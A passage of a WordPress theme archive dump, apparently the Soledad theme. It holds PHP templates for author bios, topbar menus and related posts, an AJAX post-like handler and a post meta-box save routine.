	}
}

if ( is_author() ) {
	$author = get_user_by( 'slug', get_query_var( 'author_name' ) );
	if ( $author ) {
		$author_ids[] = $author->ID;
	}
}

$classes      = 'post-author';
$bio_style    = get_theme_mod( 'penci_authorbio_style' ) ? get_theme_mod( 'penci_authorbio_style' ) : 'style-1';
$bio_img      = get_theme_mod( 'penci_bioimg_style' ) ? get_theme_mod( 'penci_bioimg_style' ) : 'round';
$bio_img_size = get_theme_mod( 'penci_author_ava_size', 100 );
$classes     .= ' abio-' . $bio_style;
$classes     .= ' bioimg-' . $bio_img;
if ( function_exists( 'coauthors__echo' ) && ! is_author() ) {
	$author_list = coauthors__echo(
		'ID',
		'field',
		array(
			'between'     => ',',
			'betweenLast' => ',',
			'before'      => '',
			'after'       => '',
		),
		null,
		false
	);
	if ( $author_list ) {
		$author_ids = explode( ',', $author_list );
	}
}
foreach ( $author_ids as $author_id ) {
	?>
<div class="<?php echo $classes; ?>">

	<?php
	if ( 'style-5' == $bio_style ) :
		$tab_1 = 'author-info-' . $author_id;
		$tab_2 = 'author-posts-' . $author_id;
		?>
	<div class="author-top-tabs">
		<ul>
			<li><a data-tab="<?php echo $tab_1; ?>" class="pcauthor-tabs active" href="#<?php echo $tab_1; ?>"><?php echo penci_get_setting( 'penci_trans_author_profile' ); ?></a></li>
			<li><a data-tab="<?php echo $tab_2; ?>" class="pcauthor-tabs" href="#<?php echo $tab_2; ?>"><?php echo penci_get_setting( 'penci_trans_author_related' ); ?></a></li>
		</ul>
	</div>
	<div id="<?php echo $tab_2; ?>" class="author-tab-content author-posts">
			<?php get_template_part( '/inc/templates/related_posts_author', '', array( 'id' => $author_id ) ); ?>
	</div>
	<div id="<?php echo $tab_1; ?>" class="author-tab-content active author-bottom-content">
<?php endif; ?>


	<div class="author-img">
		<?php
		echo get_avatar( $author_id, $bio_img_size );
		?>
	</div>
	<div class="author-content">
		<h5><?php echo penci_get_the_author_posts_link( $author_id ); ?></h5>
		<?php do_action( 'penci_below_author_name', array( 'author_id' => $author_id ) ); ?>


		<?php
		$author_desc = get_the_author_meta( 'description', $author_id );
		if ( ! $author_desc && function_exists( 'get_the_coauthor_meta' ) ) {
			$author_desc = get_the_coauthor_meta( 'description', $author_id );
			$author_desc = isset( $author_desc[ $author_id ] ) && $author_desc[ $author_id ] ? $author_desc[ $author_id ] : '';
		}
		?>

		<p><?php echo $author_desc; ?></p>

		<?php
		if ( 'style-5' == $bio_style ) {
			echo '</div>';
		}
		?>

		<div class="bio-social">
			<?php if ( get_the_author_meta( 'user_url', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php the_author_meta( 'user_url', $author_id ); ?>"><?php penci_fawesome_icon( 'fas fa-globe' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'facebook', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://facebook.com/<?php echo esc_attr( the_author_meta( 'facebook', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-facebook-f' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'twitter', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://x.com/<?php echo esc_attr( the_author_meta( 'twitter', $author_id ) ); ?>"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'instagram', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://instagram.com/<?php echo esc_attr( the_author_meta( 'instagram', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-instagram' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'pinterest', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://pinterest.com/<?php echo esc_attr( the_author_meta( 'pinterest', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-pinterest' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'tumblr', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="https://<?php echo esc_attr( the_author_meta( 'tumblr', $author_id ) ); ?>.tumblr.com/"><?php penci_fawesome_icon( 'fab fa-tumblr' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'linkedin', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php echo esc_url( the_author_meta( 'linkedin', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-linkedin-in' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'soundcloud', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php echo esc_url( the_author_meta( 'soundcloud', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-soundcloud' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'youtube', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php echo esc_url( the_author_meta( 'youtube', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fab fa-youtube' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'tiktok', $author_id ) ) : ?>
				<a <?php echo penci_reltag_social_icons(); ?> target="_blank" class="author-social"
																href="<?php echo esc_url( the_author_meta( 'tiktok', $author_id ) ); ?>"><?php echo penci_icon_by_ver( 'penciicon-tik-tok-1' ); ?></a>
			<?php endif; ?>
			<?php if ( get_the_author_meta( 'email', $author_id ) && get_theme_mod( 'penci_post_author_email' ) ) : ?>
				<a class="author-social"
					href="mailto:<?php echo esc_attr( the_author_meta( 'email', $author_id ) ); ?>"><?php penci_fawesome_icon( 'fas fa-envelope' ); ?></a>
			<?php endif; ?>
		</div>
	</div>
	</div>
	<?php
}
PK     N\!׍P  P    inc/templates/topbar_menu.phpnu [        <?php
$tbmenu_id = '';
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['topbar_menu'] ) && $pmeta_page_header['topbar_menu'] ) {
		$tbmenu_id = $pmeta_page_header['topbar_menu'];
	}
}
/**
 * Display topbar menu
 */
wp_nav_menu( array(
	'menu'           => $tbmenu_id,
	'container'      => 'div',
	'container_class'=> 'pctopbar-item penci-wtopbar-menu',
	'theme_location' => 'topbar-menu',
	'menu_class'     => 'penci-topbar-menu',
	'fallback_cb'    => 'penci_menu_fallback',
	'walker'         => ''
) );PK     N\O^      inc/templates/related_posts.phpnu [        <?php
/**
 * Related post template
 * Render list related posts
 *
 * @since 1.0
 */
$data_auto = 'true';
$auto      = get_theme_mod( 'penci_post_related_autoplay' );
if ( $auto == false ): $data_auto = 'false'; endif;

$sidebar_opts = penci_get_single_key( get_the_ID(), 'penci_post_sidebar_display' );

$orig_post = $post;
global $post;
$numbers_related = get_theme_mod( 'penci_numbers_related_post' );
if ( ! isset( $numbers_related ) || $numbers_related < 1 ): $numbers_related = 10; endif;

$orderby_post = 'date';
if ( get_theme_mod( 'penci_related_orderby' ) && get_theme_mod( 'penci_related_orderby' ) != 'date' ):
	$orderby_post = get_theme_mod( 'penci_related_orderby' );
endif;
$related_style        = get_theme_mod( 'penci_related_style', 'style-1' );
$related_order_post   = get_theme_mod( 'penci_related_sort_order' );
$related_order_post   = $related_order_post ? $related_order_post : 'DESC';
$related_title_length = get_theme_mod( 'penci_related_posts_title_length' ) ? get_theme_mod( 'penci_related_posts_title_length' ) : 8;
$penci_related_by     = get_theme_mod( 'penci_related_by' );

$args = penci_get_query_related_posts( get_the_ID(), $penci_related_by, $orderby_post, $related_order_post, $numbers_related );

if ( ! empty( $args ) ) {

$my_query = new wp_query( $args );
if ( $my_query->have_posts() ) {
$data_loop            = '';
$number_posts_display = $my_query->post_count;
if ( $number_posts_display < 4 ):
	$data_loop = ' data-loop="false"';
endif;
?>
<div class="pcrlt-<?php echo $related_style; ?> post-related<?php if ( get_theme_mod( 'penci_post_related_grid' ) ): echo ' penci-posts-related-grid'; endif; ?>">
	<?php if ( penci_get_setting( 'penci_post_related_text' ) ): ?>
        <div class="post-title-box"><h4
                    class="post-box-title"><?php echo penci_get_setting( 'penci_post_related_text' ); ?></h4></div>
	<?php endif; ?>
	<?php if ( ! get_theme_mod( 'penci_post_related_grid' ) ) {
	$dcol_slides = $related_style == 'style-4' ? 2 : 3;
	$mcol_slides = $related_style == 'style-4' ? 1 : 2;
	$lazy_class  = 'penci-lazy'; ?>
    <div class="swiper penci-owl-carousel penci-owl-carousel-slider penci-related-carousel"
         data-lazy="true"<?php echo $data_loop; ?> data-item="<?php echo $dcol_slides; ?>"
         data-desktop="<?php echo $dcol_slides; ?>" data-tablet="<?php echo $mcol_slides; ?>"
         data-tabsmall="<?php echo $mcol_slides; ?>"
         data-auto="<?php echo $data_auto; ?>"
         data-speed="300"<?php if ( ! get_theme_mod( 'penci_post_related_dots' ) ) {
		echo ' data-dots="true"';
	}
	if ( ! get_theme_mod( 'penci_post_related_arrows', true ) ) {
		echo ' data-nav="false"';
	} ?>>
        <div class="swiper-wrapper">
			<?php } else {
			$lazy_class = 'penci-lazy'; ?>
            <div class="penci-related-carousel penci-related-grid-display">
				<?php } ?>
				<?php while ( $my_query->have_posts() ) : $my_query->the_post(); ?>
                    <div class="item-related swiper-slide">
                        <div class="item-related-inner">


							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
								<?php do_action( 'penci_bookmark_post', get_the_ID() ); ?>

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_theme_mod( 'penci_disable_lazyload_single' ) ); ?> class="<?php echo penci_layout_bg_class();?> related-thumb penci-image-holder"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title(), get_theme_mod( 'penci_disable_lazyload_single' ) ); ?>

									<?php if ( has_post_thumbnail() && get_theme_mod( 'penci_post_related_icons' ) ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-play' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-music' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-link' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
											<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
											<?php penci_fawesome_icon( 'far fa-image' ); ?>
										<?php endif; ?>
									<?php endif; ?>
                                </a>
							<?php endif; ?>
                            <div class="related-content">

                                <h3>
                                    <a href="<?php the_permalink(); ?>"><?php do_action( 'penci_before_title' );
										echo wp_trim_words( get_the_title(), $related_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_hide_date_related' ) ): ?>
                                    <span class="date"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
				<?php
				endwhile;
				echo '</div>';
				if ( ! get_theme_mod( 'penci_post_related_grid' ) ) {
					echo '<div class="penci-owl-dots"></div></div>';
				}
				echo '</div>';
				}
				}
				$post = $orig_post;
				wp_reset_postdata();
				?>
PK     N\F"  F"    inc/like_post/post-like.phpnu [        <?php
/**
 * Create post like for posts
 *
 * Idea from Jon Masterson < http://jonmasterson.com/ >
 * @since 1.0
 */

add_action( 'wp_ajax_nopriv_penci-post-like', 'penci_post_like' );
add_action( 'wp_ajax_penci-post-like', 'penci_post_like' );
function penci_post_like() {
	$nonce = $_POST['nonce'];
	if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
		die ( 'Nope!' );
	}

	if ( isset( $_POST['penci_post_like'] ) ) {

		$reaction = isset( $_POST['reaction'] ) ? sanitize_text_field( $_POST['reaction'] ) : 'like'; // reaction type
		$meta_key = '_post_' . $reaction . '_count'; // set meta key based on reaction type

		$post_id         = $_POST['post_id']; // post id
		$post_like_count = get_post_meta( $post_id, $meta_key, true ); // post like count

		if ( function_exists( 'wp_cache_post_change' ) ) { // invalidate WP Super Cache if exists
			$GLOBALS["super_cache_enabled"] = 1;
			wp_cache_post_change( $post_id );
		}

		if ( is_user_logged_in() ) { // user is logged in
			$user_id     = get_current_user_id(); // current user
			
			$user_key = '_liked_posts';
			$meta_user_key = '_user_liked';
			$user_count_key = '_user_'.$reaction.'_count';

			if ( $reaction !== 'like' ) {
				$user_key = '_liked_' . $reaction . '_posts';
				$meta_user_key = '_user_' . $reaction . '_liked';
			}

			$meta_POSTS  = get_user_option( $user_key, $user_id ); // post ids from user meta
			$meta_USERS  = get_post_meta( $post_id, $meta_user_key ); // user ids from post meta
			$liked_POSTS = null; // setup array variable
			$liked_USERS = null; // setup array variable

			if ( $meta_POSTS && count( $meta_POSTS ) != 0 ) { // meta exists, set up values
				$liked_POSTS = $meta_POSTS;
			}

			if ( ! is_array( $liked_POSTS ) ) // make array just in case
			{
				$liked_POSTS = array();
			}

			if ( count( $meta_USERS ) != 0 ) { // meta exists, set up values
				$liked_USERS = $meta_USERS[0];
			}

			if ( ! is_array( $liked_USERS ) ) // make array just in case
			{
				$liked_USERS = array();
			}

			$liked_POSTS[ 'post-' . $post_id ] = $post_id; // Add post id to user meta array
			$liked_USERS[ 'user-' . $user_id ] = $user_id; // add user id to post meta array
			$user_likes                        = count( $liked_POSTS ); // count user likes

			if ( ! penci_AlreadyLiked( $post_id, $reaction ) ) { // like the post
				update_post_meta( $post_id, $meta_user_key, $liked_USERS ); // Add user ID to post meta
				update_post_meta( $post_id, $meta_key, ++ $post_like_count ); // +1 count post meta
				update_user_option( $user_id, $user_key, $liked_POSTS ); // Add post ID to user meta
				update_user_option( $user_id, $user_count_key, $user_likes ); // +1 count user meta
				echo absint( $post_like_count ); // update count on front end

			} else { // unlike the post
				$pid_key = array_search( $post_id, $liked_POSTS ); // find the key
				$uid_key = array_search( $user_id, $liked_USERS ); // find the key
				unset( $liked_POSTS[ $pid_key ] ); // remove from array
				unset( $liked_USERS[ $uid_key ] ); // remove from array
				$user_likes = count( $liked_POSTS ); // recount user likes
				update_post_meta( $post_id, $meta_user_key, $liked_USERS ); // Remove user ID from post meta
				update_post_meta( $post_id, $meta_key, -- $post_like_count ); // -1 count post meta
				update_user_option( $user_id, $user_key, $liked_POSTS ); // Remove post ID from user meta
				update_user_option( $user_id, $user_count_key, $user_likes ); // -1 count user meta
				echo "already" . absint( $post_like_count ); // update count on front end

			}

		} else { // user is not logged in (anonymous)
			$ip        = $_SERVER['REMOTE_ADDR']; // user IP address

			$meta_ip_meta = '_user_IP';

			if ( $reaction !== 'like' ) {
				$meta_ip_meta = '_user_' . $reaction . '_IP';
			}

			$meta_IPS  = get_post_meta( $post_id, $meta_ip_meta ); // stored IP addresses
			$liked_IPS = null; // set up array variable

			if ( count( $meta_IPS ) != 0 ) { // meta exists, set up values
				$liked_IPS = $meta_IPS[0];
			}

			if ( ! is_array( $liked_IPS ) ) // make array just in case
			{
				$liked_IPS = array();
			}

			if ( ! in_array( $ip, $liked_IPS ) ) // if IP not in array
			{
				$liked_IPS[ 'ip-' . $ip ] = $ip;
			} // add IP to array

			if ( ! penci_AlreadyLiked( $post_id ) ) { // like the post
				update_post_meta( $post_id, $meta_ip_meta, $liked_IPS ); // Add user IP to post meta
				update_post_meta( $post_id, $meta_key, ++ $post_like_count ); // +1 count post meta
				echo absint( $post_like_count ); // update count on front end

			} else { // unlike the post
				$ip_key = array_search( $ip, $liked_IPS ); // find the key
				unset( $liked_IPS[ $ip_key ] ); // remove from array
				update_post_meta( $post_id, $meta_ip_meta, $liked_IPS ); // Remove user IP from post meta
				update_post_meta( $post_id, $meta_key, -- $post_like_count ); // -1 count post meta
				echo "already" . absint( $post_like_count ); // update count on front end

			}
		}
	}

	exit;
}

/**
 * Check if user is liked post
 */
function penci_AlreadyLiked( $post_id, $reaction = 'like' ) { // test if user liked before
	if ( is_user_logged_in() ) { // user is logged in
		$user_id     = get_current_user_id(); // current user
		$meta_user_key = '_user_liked';
		if ( $reaction !== 'like' ) {
			$meta_user_key = '_user_' . $reaction . '_liked';
		}
		$meta_USERS  = get_post_meta( $post_id, $meta_user_key ); // user ids from post meta
		$liked_USERS = ""; // set up array variable

		if ( count( $meta_USERS ) != 0 ) { // meta exists, set up values
			$liked_USERS = $meta_USERS[0];
		}

		if ( ! is_array( $liked_USERS ) ) // make array just in case
		{
			$liked_USERS = array();
		}

		if ( in_array( $user_id, $liked_USERS ) ) { // True if User ID in array
			return true;
		}

		return false;

	} else { // user is anonymous, use IP address for voting

		$meta_ip_meta = '_user_IP';

		if ( $reaction !== 'like' ) {
			$meta_ip_meta = '_user_' . $reaction . '_IP';
		}

		$meta_IPS  = get_post_meta( $post_id, $meta_ip_meta ); // get previously voted IP address
		$ip        = $_SERVER["REMOTE_ADDR"]; // Retrieve current user IP
		$liked_IPS = ""; // set up array variable

		if ( count( $meta_IPS ) != 0 ) { // meta exists, set up values
			$liked_IPS = $meta_IPS[0];
		}

		if ( ! is_array( $liked_IPS ) ) // make array just in case
		{
			$liked_IPS = array();
		}

		if ( in_array( $ip, $liked_IPS ) ) { // True is IP in array
			return true;
		}

		return false;
	}

}

/**
 * Front end button like post
 */
function penci_getPostLikeLink( $post_id ) {
	if ( get_theme_mod( 'penci__hide_share_plike' ) ) {
		return;
	}

	$like_count = get_post_meta( $post_id, "_post_like_count", true ); // get post likes
	if ( ! $like_count ): $like_count = '0'; endif;

	if ( penci_AlreadyLiked( $post_id ) ) {
		$class = esc_attr( ' liked' );
		$title = esc_html__( 'Unlike', 'soledad' );
	} else {
		$class = '';
		$title = esc_html__( 'Like', 'soledad' );
	}
	$return = '<a href="#" class="penci-post-like' . $class . '" aria-label="Like this post" data-post_id="' . $post_id . '" title="' . $title . '" data-like="' . esc_html__( 'Like', 'soledad' ) . '" data-unlike="' . esc_html__( 'Unlike', 'soledad' ) . '">' . penci_icon_by_ver( 'far fa-heart' ) . '<span class="dt-share">' . sanitize_text_field( $like_count ) . '</span></a>';

	return $return;
}

/**
 * Front end button like post in single
 */
function penci_single_getPostLikeLink( $post_id ) {
	$like_count = get_post_meta( $post_id, "_post_like_count", true ); // get post likes
	if ( ! $like_count ): $like_count = '0'; endif;

	if ( penci_AlreadyLiked( $post_id ) ) {
		$class = esc_attr( ' liked' );
		$title = esc_html__( 'Unlike', 'soledad' );
	} else {
		$class = '';
		$title = esc_html__( 'Like', 'soledad' );
	}
	$return = '<span class="count-number-like">' . sanitize_text_field( $like_count ) . '</span><a href="#" aria-label="Like this post" class="penci-post-like single-like-button' . $class . '" data-post_id="' . $post_id . '" title="' . $title . '" data-like="' . esc_html__( 'Like', 'soledad' ) . '" data-unlike="' . esc_html__( 'Unlike', 'soledad' ) . '">' . penci_icon_by_ver( 'far fa-heart' ) . '</a>';

	return $return;
}

/**
 * Front end count like post
 */
function penci_getPostCountLike( $post_id, $type = '' ) {
	$meta_key = $type ? '_post_'.$type.'_count' : '_post_like_count'; // set meta key based on type
	$like_count = get_post_meta( $post_id, $meta_key, true ); // get post likes
	$count      = ( ! isset( $like_count ) || empty( $like_count ) ) ? '0' : $like_count;

	return $count;
}

add_action( 'penci_action_after_the_content', function(){
	if ( get_theme_mod( 'penci_post_reactions_enable' ) ) {
		get_template_part( 'template-parts/single-reactions' );
	}
} );PK     N\7oS* S*   inc/meta-box/meta-box.phpnu [        <?php
/**
 * Add custom meta box for pages
 * Add custom sidebar for page go here
 * Use add_meta_box() function to hook it
 *
 * @package Wordpress
 * @since 1.0
 *
 */

require PENCI_SOLEDAD_DIR . '/inc/meta-box/meta-box-array.php';

/* Sub title */
add_action( 'admin_head', 'penci_add_subtitle_metaboxes' );
function penci_add_subtitle_metaboxes() {
	// Detect if editor is gutenberg or not - if not, add meta box after post title.
	if ( penci_is_using_gutenberg() ) {
		add_meta_box(
			'penci_post_secondry_title',
			esc_html__( 'Add Subtitle', 'soledad' ),
			'penci_render_subtitle_markup_gutenberg',
			penci_post_types_allow_meta_boxes(),
			'side',
			'high'
		);
	} else {
		add_action( 'edit_form_after_title', 'penci_render_subtitle_markup', 1 );
	}
}

function penci_render_subtitle_markup() {
	$post_id = get_the_ID();

	// Get currently viewing post type
	if ( ! empty( $post_id ) ) {
		$post_type = get_post_type( $post_id );
	}

	if ( empty( $post_type ) && get_current_screen()->post_type ) {
		$post_type = get_current_screen()->post_type;
	}

	// Don't render markup if it's not allowed
	if ( ! in_array( $post_type, penci_post_types_allow_meta_boxes() ) ) {
		return;
	}
	?>

    <div id="penci-subtitlediv">
        <div id="penci-subtitlewrap">
            <label class="screen-reader-text" id="penci-sub-title-label"
                   for="penci-sub-title"><?php esc_html_e( 'Add sub title here', 'soledad' ) ?></label>
            <input type="text" id="penci-sub-title" name="penci_post_sub_title" size="30"
                   style="padding: 3px 8px; font-size: 1.4em; line-height: 100%; height: 2em; width: 100%; outline: 0; margin: 0 0 3px; background-color: #fff;"
                   value="<?php echo esc_attr( get_post_meta( $post_id, 'penci_post_sub_title', true ) ); ?>"
                   placeholder="<?php esc_html_e( 'Add sub title here', 'soledad' ) ?>" spellcheck="true"
                   autocomplete="off">
        </div>
    </div>
	<?php
}

function penci_render_subtitle_markup_gutenberg() {
	$post_id = get_the_ID();

	// Get currently viewing post type
	if ( ! empty( $post_id ) ) {
		$post_type = get_post_type( $post_id );
	}

	if ( empty( $post_type ) && get_current_screen()->post_type ) {
		$post_type = get_current_screen()->post_type;
	}

	// Don't render markup if it's not allowed
	if ( ! in_array( $post_type, penci_post_types_allow_meta_boxes() ) ) {
		return;
	}
	?>

    <div id="penci-subtitlediv">
        <div id="penci-subtitlewrap">
            <label class="screen-reader-text" id="penci-sub-title-label"
                   for="penci-sub-title"><?php esc_html_e( 'Add sub title here', 'soledad' ) ?></label>
            <textarea name="penci_post_sub_title" rows="6" style="height: 80px; width: 100%; font-size: 1.3em;"
                      placeholder="<?php esc_html_e( 'Add sub title here', 'soledad' ) ?>" spellcheck="false"
                      autocomplete="off"><?php echo esc_attr( get_post_meta( $post_id, 'penci_post_sub_title', true ) ); ?></textarea>
        </div>
    </div>
	<?php
}


function Penci_Add_Custom_Metabox() {
	new Penci_Add_Custom_Metabox_Class();
}

if ( is_admin() ) {
	add_action( 'load-post.php', 'Penci_Add_Custom_Metabox' );
	add_action( 'load-post-new.php', 'Penci_Add_Custom_Metabox' );
}

/**
 * The Class.
 */
class Penci_Add_Custom_Metabox_Class {

	/**
	 * Hook into the appropriate actions when the class is constructed.
	 */
	public function __construct() {
		add_action( 'add_meta_boxes', array( $this, 'add_meta_box' ) );
		add_action( 'save_post', array( $this, 'save' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'admin_scr' ) );
	}

	public function admin_scr() {
		wp_enqueue_style( 'penci-adm-select2', PENCI_SOLEDAD_URL . '/inc/customizer/css/select2.min.css', array(), PENCI_SOLEDAD_VERSION );
		wp_enqueue_script( 'penci-adm-select2', PENCI_SOLEDAD_URL . '/inc/customizer/js/select2.full.min.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'penci-adm-users', PENCI_SOLEDAD_URL . '/js/get_user.js', array(
			'jquery',
			'penci-adm-select2'
		), PENCI_SOLEDAD_VERSION, true );
		wp_localize_script(
			'penci-adm-users',
			'penci_adm_users',
			array(
				'ajax'  => esc_url( admin_url( 'admin-ajax.php' ) ),
				'nonce' => wp_create_nonce( 'penci-adm-users' ),
			)
		);
	}

	/**
	 * Adds the meta box container.
	 */
	public function add_meta_box( $post_type ) {
		$post_types = penci_post_types_allow_meta_boxes();     //limit meta box to certain post types
		if ( in_array( $post_type, $post_types ) ) {
			add_meta_box(
				'penci_custom_sidebar_page'
				, esc_html__( 'Options for This Post/Page', 'soledad' )
				, array( $this, 'render_meta_box_content' )
				, $post_type
				, 'advanced'
				, 'high'
			);

			add_meta_box(
				'penci_view_count_custom'
				, esc_html__( 'Post Views', 'soledad' )
				, array( $this, 'render_meta_box_view_count' )
				, $post_type
				, 'side'
				, 'high'
			);
		}
	}

	/**
	 * Save the meta when the post is saved.
	 *
	 * @param int $post_id The ID of the post being saved.
	 */
	public function save( $post_id ) {


		/*
		 * We need to verify this came from the our screen and with proper authorization,
		 * because save_post can be triggered at other times.
		 */

		// Check if our nonce is set.
		if ( ! isset( $_POST['penci_inner_custom_box_nonce'] ) ) {
			return $post_id;
		}

		$nonce = $_POST['penci_inner_custom_box_nonce'];

		// Verify that the nonce is valid.
		if ( ! wp_verify_nonce( $nonce, 'penci_inner_custom_box' ) ) {
			return $post_id;
		}

		// If this is an autosave, our form has not been submitted,
		//     so we don't want to do anything.
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $post_id;
		}

		$post_type_allow = penci_post_types_allow_meta_boxes();
		$post_type       = $_POST['post_type'];

		// Check the user's permissions.
		if ( 'page' == $_POST['post_type'] ) {

			if ( ! current_user_can( 'edit_page', $post_id ) ) {
				return $post_id;
			}

		} else {

			if ( ! current_user_can( 'edit_post', $post_id ) ) {
				return $post_id;
			}
		}

		// Sanitize the user input.
		$mydata            = sanitize_text_field( $_POST['penci_custom_sidebar_page_field'] );
		$sidebar_left_page = sanitize_text_field( $_POST['penci_custom_sidebar_left_page_field'] );

		if ( in_array( $post_type, $post_type_allow ) ) {
			$sidebar = sanitize_text_field( $_POST['penci_post_sidebar_display'] );
		}

		$hide_header = $hide_footer = '';

		if ( 'page' == $_POST['post_type'] ) {
			$slider         = sanitize_text_field( $_POST['penci_page_slider_field'] );
			$featured_boxes = sanitize_text_field( $_POST['penci_page_display_featured_boxes'] );
			$pagetitle      = sanitize_text_field( $_POST['penci_page_display_title_field'] );
			$breadcrumb     = sanitize_text_field( $_POST['penci_page_breadcrumb_field'] );
			$sharebox       = sanitize_text_field( $_POST['penci_page_sharebox_field'] );
			$rev_shortcode  = sanitize_text_field( $_POST['penci_page_rev_shortcode'] );
			$hide_header    = sanitize_text_field( $_POST['penci_page_hide_header_field'] );
			$hide_footer    = sanitize_text_field( $_POST['penci_page_hide_footer_field'] );
			$page_sidebar   = sanitize_text_field( $_POST['penci_sidebar_page_pos'] );
		}


		// Update the meta field.
		update_post_meta( $post_id, 'penci_custom_sidebar_page_display', $mydata );
		update_post_meta( $post_id, 'penci_custom_sidebar_left_page_field', $sidebar_left_page );

		if ( isset( $_POST['penci_post_critical_css'] ) ) {
			update_post_meta( $post_id, 'penci_post_critical_css', $_POST['penci_post_critical_css'] );
		}

		if ( isset( $_POST['penci_desktop_page_id'] ) && $_POST['penci_desktop_page_id'] ) {
			update_post_meta( $post_id, 'penci_desktop_page_id', $_POST['penci_desktop_page_id'] );
			update_post_meta( $_POST['penci_desktop_page_id'], 'penci_mobile_page_id', $post_id );
		}

		if ( isset( $_POST['penci_cpost_title'] ) ) {
			update_post_meta( $post_id, 'penci_cpost_title', $_POST['penci_cpost_title'] );
		}

		if ( isset( $_POST['penci_page_dis_ads'] ) ) {
			update_post_meta( $post_id, 'penci_page_dis_ads', $_POST['penci_page_dis_ads'] );
		}
        
        if ( isset( $_POST['penci_helpful_enable'] ) ) {
			update_post_meta( $post_id, 'penci_helpful_enable', $_POST['penci_helpful_enable'] );
		}

		if ( in_array( $post_type, $post_type_allow ) ) {
			update_post_meta( $post_id, 'penci_post_sidebar_display', $sidebar );

			if ( isset( $_POST['penci_post_sub_title'] ) ) {
				update_post_meta( $post_id, 'penci_post_sub_title', $_POST['penci_post_sub_title'] );
			}

			if ( isset( $_POST['penci_single_style'] ) ) {
				update_post_meta( $post_id, 'penci_single_style', $_POST['penci_single_style'] );
			}

			if ( isset( $_POST['penci_pfeatured_image_ratio'] ) ) {
				update_post_meta( $post_id, 'penci_pfeatured_image_ratio', $_POST['penci_pfeatured_image_ratio'] );
			}

			if ( isset( $_POST['penci_enable_jarallax_single'] ) ) {
				update_post_meta( $post_id, 'penci_enable_jarallax_single', $_POST['penci_enable_jarallax_single'] );
			}

			if ( isset( $_POST['penci_toc_enable'] ) ) {
				update_post_meta( $post_id, 'penci_toc_enable', $_POST['penci_toc_enable'] );
			}
            
            if ( isset( $_POST['penci_helpful_enable'] ) ) {
				update_post_meta( $post_id, 'penci_helpful_enable', $_POST['penci_helpful_enable'] );
			}

			if ( isset( $_POST['penci_extra_author'] ) ) {
				update_post_meta( $post_id, 'penci_extra_author', $_POST['penci_extra_author'] );
			}

			if ( isset( $_POST['penci_extra_author_id'] ) ) {
				update_post_meta( $post_id, 'penci_extra_author_id', $_POST['penci_extra_author_id'] );
			}

			if ( isset( $_POST['penci_post_hide_featuimg'] ) ) {
				update_post_meta( $post_id, 'penci_post_hide_featuimg', $_POST['penci_post_hide_featuimg'] );
			}

			if ( isset( $_POST['penci_reading_time'] ) ) {
				update_post_meta( $post_id, 'penci_reading_time', $_POST['penci_reading_time'] );
			}

			if ( isset( $_POST['penci_header_builder_layout'] ) ) {
				update_post_meta( $post_id, 'penci_header_builder_layout', $_POST['penci_header_builder_layout'] );
			}

			if ( isset( $_POST['penci_header_block_layout'] ) ) {
				update_post_meta( $post_id, 'penci_header_block_layout', $_POST['penci_header_block_layout'] );
			}

			if ( isset( $_POST['penci_header_layout'] ) ) {
